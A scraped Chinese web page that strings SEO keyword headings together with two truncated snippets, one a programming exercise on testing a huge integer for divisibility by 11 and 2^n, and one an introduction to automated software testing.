小程序开发北京华网天下首选/合肥seo管理

是否被整除 时间限制&#xff1a;1000 ms | 内存限制&#xff1a;65535 KB难度&#xff1a;2描述一个位数不大于100万位的正整数&#xff0c;如果它既能被11整除又能被2的n次方整除就输出YES否则输出NO 输入输入有多组数据每组数据有两行第一行一个n代表2的n次方&#xff08;…...

安阳网站建设哪家好/策划是做什么的

在程序员的世界中&#xff0c;一切重复性的工作&#xff0c;都应该通过程序自动执行。 「自动化测试」就是一个最好的例子。 随着互联网应用开发周期越来越短&#xff0c;迭代速度越来越快&#xff0c;只会点点点&#xff0c;不懂开发的手工测试&#xff0c;已经无法满足如今的…...